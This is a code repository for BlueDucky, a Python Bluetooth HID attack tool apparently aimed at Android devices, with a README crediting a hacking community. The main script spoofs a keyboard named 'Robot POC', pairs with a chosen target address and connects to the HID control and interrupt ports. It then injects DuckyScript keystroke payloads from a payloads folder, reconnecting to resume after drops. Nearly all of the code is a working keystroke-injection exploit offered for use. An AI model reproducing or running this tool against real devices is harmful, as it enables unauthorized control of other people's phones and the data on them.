├── .gitignore ├── BlueDucky.py ├── README.md ├── __init__.py ├── images ├── BlueDucky.gif ├── duckmenu.png └── start.png ├── payloads ├── payload_example_1.txt ├── payload_example_2.txt └── wp_payload.txt ├── requirements.txt └── utils ├── __pycache__ ├── menu_functions.cpython-311.pyc └── register_device.cpython-311.pyc ├── magic_keyboard_hid.py ├── menu_functions.py └── register_device.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /BlueDucky.py: -------------------------------------------------------------------------------- 1 | import binascii, bluetooth, sys, time, datetime, logging, argparse 2 | from multiprocessing import Process 3 | from pydbus import SystemBus 4 | from enum import Enum 5 | import subprocess 6 | import os 7 | 8 | from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) 9 | from utils.register_device import register_hid_profile, agent_loop 10 | 11 | child_processes = [] 12 | 13 | # ANSI escape sequences for colors 14 | class AnsiColorCode: 15 | RED = '\033[91m' 16 | GREEN = '\033[92m' 17 | YELLOW = '\033[93m' 18 | BLUE = '\033[94m' 19 | WHITE = '\033[97m' 20 | RESET = '\033[0m' 21 | 22 | # Custom log level 23 | NOTICE_LEVEL = 25 24 | 25 | # Custom formatter class with added color for NOTICE 26 | class ColorLogFormatter(logging.Formatter): 27 | COLOR_MAP = { 28 | logging.DEBUG: AnsiColorCode.BLUE, 29 | logging.INFO: AnsiColorCode.GREEN, 30 | logging.WARNING: AnsiColorCode.YELLOW, 31 | logging.ERROR: AnsiColorCode.RED, 32 | logging.CRITICAL: AnsiColorCode.RED, 33 | NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level 34 | } 35 | 36 | def format(self, record): 37 | color = self.COLOR_MAP.get(record.levelno, AnsiColorCode.WHITE) 38 | message = super().format(record) 39 | return f'{color}{message}{AnsiColorCode.RESET}' 40 | 41 | 42 | # Method to add to the Logger class 43 | def notice(self, message, *args, **kwargs): 44 | if self.isEnabledFor(NOTICE_LEVEL): 45 | self._log(NOTICE_LEVEL, message, args, **kwargs) 46 | 47 | # Adding custom level and method to logging 48 | logging.addLevelName(NOTICE_LEVEL, "NOTICE") 49 | logging.Logger.notice = notice 50 | 51 | # Set up logging with color formatter and custom level 52 | def setup_logging(): 53 | log_format = "%(asctime)s - %(levelname)s - %(message)s" 54 | formatter = ColorLogFormatter(log_format) 55 | handler = logging.StreamHandler() 56 | handler.setFormatter(formatter) 57 | 58 | # Set the logging level to INFO to filter out DEBUG messages 59 | logging.basicConfig(level=logging.INFO, handlers=[handler]) 60 | 61 | 62 | class ConnectionFailureException(Exception): 63 | pass 64 | 65 | class Adapter: 66 | def __init__(self, iface): 67 | self.iface = iface 68 | self.bus = SystemBus() 69 | self.adapter = self._get_adapter(iface) 70 | 71 | def _get_adapter(self, iface): 72 | try: 73 | return self.bus.get("org.bluez", f"/org/bluez/{iface}") 74 | except KeyError: 75 | log.error(f"Unable to find adapter '{iface}', aborting.") 76 | raise ConnectionFailureException("Adapter not found") 77 | 78 | def _run_command(self, command): 79 | result = run(command) 80 | if result.returncode != 0: 81 | raise ConnectionFailureException(f"Failed to execute command: {' '.join(command)}. Error: {result.stderr}") 82 | 83 | def set_property(self, prop, value): 84 | # Convert value to string if it's not 85 | value_str = str(value) if not isinstance(value, str) else value 86 | command = ["sudo", "hciconfig", self.iface, prop, value_str] 87 | self._run_command(command) 88 | 89 | # Verify if the property is set correctly 90 | verify_command = ["hciconfig", self.iface, prop] 91 | verification_result = run(verify_command) 92 | if value_str not in verification_result.stdout: 93 | log.error(f"Unable to set adapter {prop}, aborting. Output: {verification_result.stdout}") 94 | raise ConnectionFailureException(f"Failed to set {prop}") 95 | 96 | def power(self, powered): 97 | self.adapter.Powered = powered 98 | 99 | def reset(self): 100 | self.power(False) 101 | self.power(True) 102 | 103 | def enable_ssp(self): 104 | try: 105 | # Command to enable SSP - the actual command might differ 106 | # This is a placeholder command and should be replaced with the actual one. 107 | ssp_command = ["sudo", "hciconfig", self.iface, "sspmode", "1"] 108 | ssp_result = run(ssp_command) 109 | if ssp_result.returncode != 0: 110 | log.error(f"Failed to enable SSP: {ssp_result.stderr}") 111 | raise ConnectionFailureException("Failed to enable SSP") 112 | except Exception as e: 113 | log.error(f"Error enabling SSP: {e}") 114 | raise 115 | 116 | class PairingAgent: 117 | def __init__(self, iface, target_addr): 118 | self.iface = iface 119 | self.target_addr = target_addr 120 | dev_name = "dev_%s" % target_addr.upper().replace(":", "_") 121 | self.target_path = "/org/bluez/%s/%s" % (iface, dev_name) 122 | 123 | def __enter__(self): 124 | try: 125 | log.debug("Starting agent process...") 126 | self.agent = Process(target=agent_loop, args=(self.target_path,)) 127 | self.agent.start() 128 | time.sleep(0.25) 129 | log.debug("Agent process started.") 130 | return self 131 | except Exception as e: 132 | log.error(f"Error starting agent process: {e}") 133 | raise 134 | 135 | def __exit__(self, exc_type, exc_val, exc_tb): 136 | try: 137 | log.debug("Terminating agent process...") 138 | self.agent.kill() 139 | time.sleep(2) 140 | log.debug("Agent process terminated.") 141 | except Exception as e: 142 | log.error(f"Error terminating agent process: {e}") 143 | raise 144 | 145 | class L2CAPConnectionManager: 146 | def __init__(self, target_address): 147 | self.target_address = target_address 148 | self.clients = {} 149 | 150 | def create_connection(self, port): 151 | client = L2CAPClient(self.target_address, port) 152 | self.clients[port] = client 153 | return client 154 | 155 | def connect_all(self): 156 | try: 157 | return sum(client.connect() for client in self.clients.values()) 158 | except ConnectionFailureException as e: 159 | log.error(f"Connection failure: {e}") 160 | raise 161 | 162 | def close_all(self): 163 | for client in self.clients.values(): 164 | client.close() 165 | 166 | # Custom exception to handle reconnection 167 | class ReconnectionRequiredException(Exception): 168 | def __init__(self, message, current_line=0, current_position=0): 169 | super().__init__(message) 170 | time.sleep(2) 171 | self.current_line = current_line 172 | self.current_position = current_position 173 | 174 | class L2CAPClient: 175 | def __init__(self, addr, port): 176 | self.addr = addr 177 | self.port = port 178 | self.connected = False 179 | self.sock = None 180 | 181 | def encode_keyboard_input(*args): 182 | keycodes = [] 183 | flags = 0 184 | for a in args: 185 | if isinstance(a, Key_Codes): 186 | keycodes.append(a.value) 187 | elif isinstance(a, Modifier_Codes): 188 | flags |= a.value 189 | assert(len(keycodes) <= 7) 190 | keycodes += [0] * (7 - len(keycodes)) 191 | report = bytes([0xa1, 0x01, flags, 0x00] + keycodes) 192 | return report 193 | 194 | def close(self): 195 | if self.connected: 196 | self.sock.close() 197 | self.connected = False 198 | self.sock = None 199 | 200 | def reconnect(self): 201 | # Notify the main script or trigger a reconnection process 202 | raise ReconnectionRequiredException("Reconnection required") 203 | 204 | def send(self, data): 205 | if not self.connected: 206 | log.error("[TX] Not connected") 207 | self.reconnect() 208 | 209 | # Get the current timestamp 210 | timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3] 211 | 212 | # Add the timestamp to your log message 213 | log.debug(f"[{timestamp}][TX-{self.port}] Attempting to send data: {binascii.hexlify(data).decode()}") 214 | try: 215 | self.attempt_send(data) 216 | log.debug(f"[TX-{self.port}] Data sent successfully") 217 | except bluetooth.btcommon.BluetoothError as ex: 218 | log.error(f"[TX-{self.port}] Bluetooth error: {ex}") 219 | self.reconnect() 220 | self.send(data) # Retry sending after reconnection 221 | except Exception as ex: 222 | log.error(f"[TX-{self.port}] Exception: {ex}") 223 | raise 224 | 225 | def attempt_send(self, data, timeout=0.5): 226 | start = time.time() 227 | while time.time() - start < timeout: 228 | try: 229 | self.sock.send(data) 230 | return 231 | except bluetooth.btcommon.BluetoothError as ex: 232 | if ex.errno != 11: # no data available 233 | raise 234 | time.sleep(0.001) 235 | 236 | def recv(self, timeout=0): 237 | start = time.time() 238 | while True: 239 | raw = None 240 | if not self.connected: 241 | return None 242 | if self.sock is None: 243 | return None 244 | try: 245 | raw = self.sock.recv(64) 246 | if len(raw) == 0: 247 | self.connected = False 248 | return None 249 | log.debug(f"[RX-{self.port}] Received data: {binascii.hexlify(raw).decode()}") 250 | except bluetooth.btcommon.BluetoothError as ex: 251 | if ex.errno != 11: # no data available 252 | raise ex 253 | else: 254 | if (time.time() - start) < timeout: 255 | continue 256 | return raw 257 | 258 | def connect(self, timeout=None): 259 | log.debug(f"Attempting to connect to {self.addr} on port {self.port}") 260 | log.info("connecting to %s on port %d" % (self.addr, self.port)) 261 | sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) 262 | sock.settimeout(timeout) 263 | try: 264 | sock.connect((self.addr, self.port)) 265 | sock.setblocking(0) 266 | self.sock = sock 267 | self.connected = True 268 | log.debug("SUCCESS! connected on port %d" % self.port) 269 | except Exception as ex: 270 | # Color Definition Again just to avoid errors I should've made a class for this. 271 | red = "\033[91m" 272 | blue = "\033[94m" 273 | reset = "\033[0m" 274 | 275 | error = True 276 | self.connected = False 277 | log.error("ERROR connecting on port %d: %s" % (self.port, ex)) 278 | raise ConnectionFailureException(f"Connection failure on port {self.port}") 279 | if (error == True & self.port == 14): 280 | print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.") 281 | return self.connected 282 | 283 | 284 | 285 | return self.connected 286 | 287 | def send_keyboard_report(self, *args): 288 | self.send(self.encode_keyboard_input(*args)) 289 | 290 | def send_keypress(self, *args, delay=0.0001): 291 | if args: 292 | log.debug(f"Attempting to send... {args}") 293 | self.send(self.encode_keyboard_input(*args)) 294 | time.sleep(delay) 295 | # Send an empty report to release the key 296 | self.send(self.encode_keyboard_input()) 297 | time.sleep(delay) 298 | else: 299 | # If no arguments, send an empty report to release keys 300 | self.send(self.encode_keyboard_input()) 301 | time.sleep(delay) 302 | return True # Indicate successful send 303 | 304 | def send_keyboard_combination(self, modifier, key, delay=0.004): 305 | # Press the combination 306 | press_report = self.encode_keyboard_input(modifier, key) 307 | self.send(press_report) 308 | time.sleep(delay) # Delay to simulate key press 309 | 310 | # Release the combination 311 | release_report = self.encode_keyboard_input() 312 | self.send(release_report) 313 | time.sleep(delay) 314 | 315 | def process_duckyscript(client, duckyscript, current_line=0, current_position=0): 316 | client.send_keypress('') # Send empty report to ensure a clean start 317 | time.sleep(0.5) 318 | 319 | shift_required_characters = "!@#$%^&*()_+{}|:\"<>?ABCDEFGHIJKLMNOPQRSTUVWXYZ" 320 | 321 | try: 322 | for line_number, line in enumerate(duckyscript): 323 | if line_number < current_line: 324 | continue # Skip already processed lines 325 | 326 | if line_number == current_line and current_position > 0: 327 | line = line[current_position:] # Resume from the last position within the current line 328 | else: 329 | current_position = 0 # Reset position for new line 330 | 331 | line = line.strip() 332 | log.info(f"Processing {line}") 333 | if not line or line.startswith("REM"): 334 | continue 335 | if line.startswith("TAB"): 336 | client.send_keypress(Key_Codes.TAB) 337 | if line.startswith("PRIVATE_BROWSER"): 338 | report = bytes([0xa1, 0x01, Modifier_Codes.CTRL.value | Modifier_Codes.SHIFT.value, 0x00, Key_Codes.n.value, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) 339 | client.send(report) 340 | # Don't forget to send a release report afterwards 341 | release_report = bytes([0xa1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) 342 | client.send(release_report) 343 | if line.startswith("VOLUME_UP"): 344 | # Send GUI + V 345 | hid_report_gui_v = bytes.fromhex("a1010800190000000000") 346 | client.send(hid_report_gui_v) 347 | time.sleep(0.1) # Short delay 348 | 349 | client.send_keypress(Key_Codes.TAB) 350 | 351 | # Press UP while holding GUI + V 352 | hid_report_up = bytes.fromhex("a1010800195700000000") 353 | client.send(hid_report_up) 354 | time.sleep(0.1) # Short delayF 355 | 356 | # Release all keys 357 | hid_report_release = bytes.fromhex("a1010000000000000000") 358 | client.send(hid_report_release) 359 | if line.startswith("DELAY"): 360 | try: 361 | # Extract delay time from the line 362 | delay_time = int(line.split()[1]) # Assumes delay time is in milliseconds 363 | time.sleep(delay_time / 1000) # Convert milliseconds to seconds for sleep 364 | except ValueError: 365 | log.error(f"Invalid DELAY format in line: {line}") 366 | except IndexError: 367 | log.error(f"DELAY command requires a time parameter in line: {line}") 368 | continue # Move to the next line after the delay 369 | if line.startswith("STRING"): 370 | text = line[7:] 371 | for char_position, char in enumerate(text, start=1): 372 | log.notice(f"Attempting to send letter: {char}") 373 | # Process each character 374 | try: 375 | if char.isdigit(): 376 | key_code = getattr(Key_Codes, f"_{char}") 377 | client.send_keypress(key_code) 378 | elif char == " ": 379 | client.send_keypress(Key_Codes.SPACE) 380 | elif char == "[": 381 | client.send_keypress(Key_Codes.LEFTBRACE) 382 | elif char == "]": 383 | client.send_keypress(Key_Codes.RIGHTBRACE) 384 | elif char == ";": 385 | client.send_keypress(Key_Codes.SEMICOLON) 386 | elif char == "'": 387 | client.send_keypress(Key_Codes.QUOTE) 388 | elif char == "/": 389 | client.send_keypress(Key_Codes.SLASH) 390 | elif char == ".": 391 | client.send_keypress(Key_Codes.DOT) 392 | elif char == ",": 393 | client.send_keypress(Key_Codes.COMMA) 394 | elif char == "|": 395 | client.send_keypress(Key_Codes.PIPE) 396 | elif char == "-": 397 | client.send_keypress(Key_Codes.MINUS) 398 | elif char == "=": 399 | client.send_keypress(Key_Codes.EQUAL) 400 | elif char in shift_required_characters: 401 | key_code_str = char_to_key_code(char) 402 | if key_code_str: 403 | key_code = getattr(Key_Codes, key_code_str) 404 | client.send_keyboard_combination(Modifier_Codes.SHIFT, key_code) 405 | else: 406 | log.warning(f"Unsupported character '{char}' in Duckyscript") 407 | elif char.isalpha(): 408 | key_code = getattr(Key_Codes, char.lower()) 409 | if char.isupper(): 410 | client.send_keyboard_combination(Modifier_Codes.SHIFT, key_code) 411 | else: 412 | client.send_keypress(key_code) 413 | else: 414 | key_code = char_to_key_code(char) 415 | if key_code: 416 | client.send_keypress(key_code) 417 | else: 418 | log.warning(f"Unsupported character '{char}' in Duckyscript") 419 | 420 | current_position = char_position 421 | 422 | except AttributeError as e: 423 | log.warning(f"Attribute error: {e} - Unsupported character '{char}' in Duckyscript") 424 | 425 | elif any(mod in line for mod in ["SHIFT", "ALT", "CTRL", "GUI", "COMMAND", "WINDOWS"]): 426 | # Process modifier key combinations 427 | components = line.split() 428 | if len(components) == 2: 429 | modifier, key = components 430 | try: 431 | # Convert to appropriate enums 432 | modifier_enum = getattr(Modifier_Codes, modifier.upper()) 433 | key_enum = getattr(Key_Codes, key.lower()) 434 | client.send_keyboard_combination(modifier_enum, key_enum) 435 | log.notice(f"Sent combination: {line}") 436 | except AttributeError: 437 | log.warning(f"Unsupported combination: {line}") 438 | else: 439 | log.warning(f"Invalid combination format: {line}") 440 | elif line.startswith("ENTER"): 441 | client.send_keypress(Key_Codes.ENTER) 442 | # After processing each line, reset current_position to 0 and increment current_line 443 | current_position = 0 444 | current_line += 1 445 | 446 | except ReconnectionRequiredException: 447 | raise ReconnectionRequiredException("Reconnection required", current_line, current_position) 448 | except Exception as e: 449 | log.error(f"Error during script execution: {e}") 450 | 451 | def char_to_key_code(char): 452 | # Mapping for special characters that always require SHIFT 453 | shift_char_map = { 454 | '!': 'EXCLAMATION_MARK', 455 | '@': 'AT_SYMBOL', 456 | '#': 'HASHTAG', 457 | '$': 'DOLLAR', 458 | '%': 'PERCENT_SYMBOL', 459 | '^': 'CARET_SYMBOL', 460 | '&': 'AMPERSAND_SYMBOL', 461 | '*': 'ASTERISK_SYMBOL', 462 | '(': 'OPEN_PARENTHESIS', 463 | ')': 'CLOSE_PARENTHESIS', 464 | '_': 'UNDERSCORE_SYMBOL', 465 | '+': 'KEYPADPLUS', 466 | '{': 'LEFTBRACE', 467 | '}': 'RIGHTBRACE', 468 | ':': 'SEMICOLON', 469 | '\\': 'BACKSLASH', 470 | '"': 'QUOTE', 471 | '<': 'COMMA', 472 | '>': 'DOT', 473 | '?': 'QUESTIONMARK', 474 | 'A': 'a', 475 | 'B': 'b', 476 | 'C': 'c', 477 | 'D': 'd', 478 | 'E': 'e', 479 | 'F': 'f', 480 | 'G': 'g', 481 | 'H': 'h', 482 | 'I': 'i', 483 | 'J': 'j', 484 | 'K': 'k', 485 | 'L': 'l', 486 | 'M': 'm', 487 | 'N': 'n', 488 | 'O': 'o', 489 | 'P': 'p', 490 | 'Q': 'q', 491 | 'R': 'r', 492 | 'S': 's', 493 | 'T': 't', 494 | 'U': 'u', 495 | 'V': 'v', 496 | 'W': 'w', 497 | 'X': 'x', 498 | 'Y': 'y', 499 | 'Z': 'z', 500 | 501 | } 502 | return shift_char_map.get(char) 503 | 504 | # Key codes for modifier keys 505 | class Modifier_Codes(Enum): 506 | CTRL = 0x01 507 | RIGHTCTRL = 0x10 508 | 509 | SHIFT = 0x02 510 | RIGHTSHIFT = 0x20 511 | 512 | ALT = 0x04 513 | RIGHTALT = 0x40 514 | 515 | GUI = 0x08 516 | WINDOWS = 0x08 517 | COMMAND = 0x08 518 | RIGHTGUI = 0x80 519 | 520 | class Key_Codes(Enum): 521 | NONE = 0x00 522 | a = 0x04 523 | b = 0x05 524 | c = 0x06 525 | d = 0x07 526 | e = 0x08 527 | f = 0x09 528 | g = 0x0a 529 | h = 0x0b 530 | i = 0x0c 531 | j = 0x0d 532 | k = 0x0e 533 | l = 0x0f 534 | m = 0x10 535 | n = 0x11 536 | o = 0x12 537 | p = 0x13 538 | q = 0x14 539 | r = 0x15 540 | s = 0x16 541 | t = 0x17 542 | u = 0x18 543 | v = 0x19 544 | w = 0x1a 545 | x = 0x1b 546 | y = 0x1c 547 | z = 0x1d 548 | _1 = 0x1e 549 | _2 = 0x1f 550 | _3 = 0x20 551 | _4 = 0x21 552 | _5 = 0x22 553 | _6 = 0x23 554 | _7 = 0x24 555 | _8 = 0x25 556 | _9 = 0x26 557 | _0 = 0x27 558 | ENTER = 0x28 559 | ESCAPE = 0x29 560 | BACKSPACE = 0x2a 561 | TAB = 0x2b 562 | SPACE = 0x2c 563 | MINUS = 0x2d 564 | EQUAL = 0x2e 565 | LEFTBRACE = 0x2f 566 | RIGHTBRACE = 0x30 567 | CAPSLOCK = 0x39 568 | VOLUME_UP = 0x3b 569 | VOLUME_DOWN = 0xee 570 | SEMICOLON = 0x33 571 | COMMA = 0x36 572 | PERIOD = 0x37 573 | SLASH = 0x38 574 | PIPE = 0x31 575 | BACKSLASH = 0x31 576 | GRAVE = 0x35 577 | APOSTROPHE = 0x34 578 | LEFT_BRACKET = 0x2f 579 | RIGHT_BRACKET = 0x30 580 | DOT = 0x37 581 | RIGHT = 0x4f 582 | LEFT = 0x50 583 | DOWN = 0x51 584 | UP = 0x52 585 | 586 | # SHIFT KEY MAPPING 587 | EXCLAMATION_MARK = 0x1e 588 | AT_SYMBOL = 0x1f 589 | HASHTAG = 0x20 590 | DOLLAR = 0x21 591 | PERCENT_SYMBOL = 0x22 592 | CARET_SYMBOL = 0x23 593 | AMPERSAND_SYMBOL = 0x24 594 | ASTERISK_SYMBOL = 0x25 595 | OPEN_PARENTHESIS = 0x26 596 | CLOSE_PARENTHESIS = 0x27 597 | UNDERSCORE_SYMBOL = 0x2d 598 | QUOTE = 0x34 599 | QUESTIONMARK = 0x38 600 | KEYPADPLUS = 0x57 601 | 602 | def terminate_child_processes(): 603 | for proc in child_processes: 604 | if proc.is_alive(): 605 | proc.terminate() 606 | proc.join() 607 | 608 | 609 | def setup_bluetooth(target_address, adapter_id): 610 | restart_bluetooth_daemon() 611 | profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address)) 612 | profile_proc.start() 613 | child_processes.append(profile_proc) 614 | adapter = Adapter(adapter_id) 615 | adapter.set_property("name", "Robot POC") 616 | adapter.set_property("class", 0x002540) 617 | adapter.power(True) 618 | return adapter 619 | 620 | def initialize_pairing(agent_iface, target_address): 621 | try: 622 | with PairingAgent(agent_iface, target_address) as agent: 623 | log.debug("Pairing agent initialized") 624 | except Exception as e: 625 | log.error(f"Failed to initialize pairing agent: {e}") 626 | raise ConnectionFailureException("Pairing agent initialization failed") 627 | 628 | def establish_connections(connection_manager): 629 | if not connection_manager.connect_all(): 630 | raise ConnectionFailureException("Failed to connect to all required ports") 631 | 632 | def setup_and_connect(connection_manager, target_address, adapter_id): 633 | connection_manager.create_connection(1) # SDP 634 | connection_manager.create_connection(17) # HID Control 635 | connection_manager.create_connection(19) # HID Interrupt 636 | initialize_pairing(adapter_id, target_address) 637 | establish_connections(connection_manager) 638 | return connection_manager.clients[19] 639 | 640 | def troubleshoot_bluetooth(): 641 | # Added this function to troubleshoot common issues before access to the application is granted 642 | 643 | blue = "\033[0m" 644 | red = "\033[91m" 645 | reset = "\033[0m" 646 | # Check if bluetoothctl is available 647 | try: 648 | subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE) 649 | except subprocess.CalledProcessError: 650 | print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.") 651 | return False 652 | 653 | # Check for Bluetooth adapters 654 | result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True) 655 | if "Controller" not in result.stdout: 656 | print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.") 657 | return False 658 | 659 | # List devices to see if any are connected 660 | result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True) 661 | if "Device" not in result.stdout: 662 | print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.") 663 | return False 664 | 665 | # if no issues are found then continue 666 | return True 667 | 668 | # Main function 669 | def main(): 670 | blue = "\033[0m" 671 | red = "\033[91m" 672 | reset = "\033[0m" 673 | parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool") 674 | parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)') 675 | args = parser.parse_args() 676 | adapter_id = args.adapter 677 | 678 | main_menu() 679 | target_address = get_target_address() 680 | if not target_address: 681 | log.info("No target address provided. Exiting..") 682 | return 683 | 684 | script_directory = os.path.dirname(os.path.realpath(__file__)) 685 | payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder. 686 | payloads = os.listdir(payload_folder) 687 | 688 | blue = "\033[0m" 689 | red = "\033[91m" 690 | reset = "\033[0m" 691 | print(f"\nAvailable payloads{blue}:") 692 | for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder. 693 | print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}") 694 | 695 | blue = "\033[0m" 696 | red = "\033[91m" 697 | reset = "\033[0m" 698 | payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{reset}: {blue}") 699 | selected_payload = None 700 | 701 | try: 702 | payload_index = int(payload_choice) - 1 703 | selected_payload = os.path.join(payload_folder, payloads[payload_index]) 704 | except (ValueError, IndexError): 705 | print(f"Invalid payload choice. No payload selected.") 706 | 707 | if selected_payload is not None: 708 | print(f"{blue}Selected payload{reset}: {blue}{selected_payload}") 709 | duckyscript = read_duckyscript(selected_payload) 710 | else: 711 | print(f"{red}No payload selected.") 712 | 713 | 714 | 715 | if not duckyscript: 716 | log.info("Payload file not found. Exiting.") 717 | return 718 | 719 | adapter = setup_bluetooth(target_address, adapter_id) 720 | adapter.enable_ssp() 721 | 722 | current_line = 0 723 | current_position = 0 724 | connection_manager = L2CAPConnectionManager(target_address) 725 | 726 | while True: 727 | try: 728 | hid_interrupt_client = setup_and_connect(connection_manager, target_address, adapter_id) 729 | process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) 730 | time.sleep(2) 731 | break # Exit loop if successful 732 | 733 | except ReconnectionRequiredException as e: 734 | log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...") 735 | current_line = e.current_line 736 | current_position = e.current_position 737 | connection_manager.close_all() 738 | # Sleep before retrying to avoid rapid reconnection attempts 739 | time.sleep(2) 740 | 741 | finally: 742 | # unpair the target device 743 | blue = "\033[94m" 744 | reset = "\033[0m" 745 | 746 | command = f'echo -e "remove {target_address}\n" | bluetoothctl' 747 | subprocess.run(command, shell=True) 748 | print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}") 749 | 750 | if __name__ == "__main__": 751 | setup_logging() 752 | log = logging.getLogger(__name__) 753 | try: 754 | if troubleshoot_bluetooth(): 755 | main() 756 | else: 757 | sys.exit(0) 758 | finally: 759 | terminate_child_processes() 760 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BlueDucky Ver 2.1 (Android) 🦆 2 | 3 | Thanks to all the people at HackNexus. Make sure you come join us on VC ! 4 | https://discord.gg/HackNexus 5 | 6 | NOTES: I will not be able to run this on a laptop or other device outside of a raspberry pi for testing. Due to this, any issues you have will need to be resolved amonsgt each other as I do not have the spare funds to buy an adapter. 7 | 8 | 1. [saad0x1's GitHub](https://github.com/saad0x1) 9 | 2. [spicydll's GitHub](https://github.com/spicydll) 10 | 3. [lamentomori's GitHub](https://github.com/lamentomori) 11 | 12 |
13 |
14 |
23 |
24 |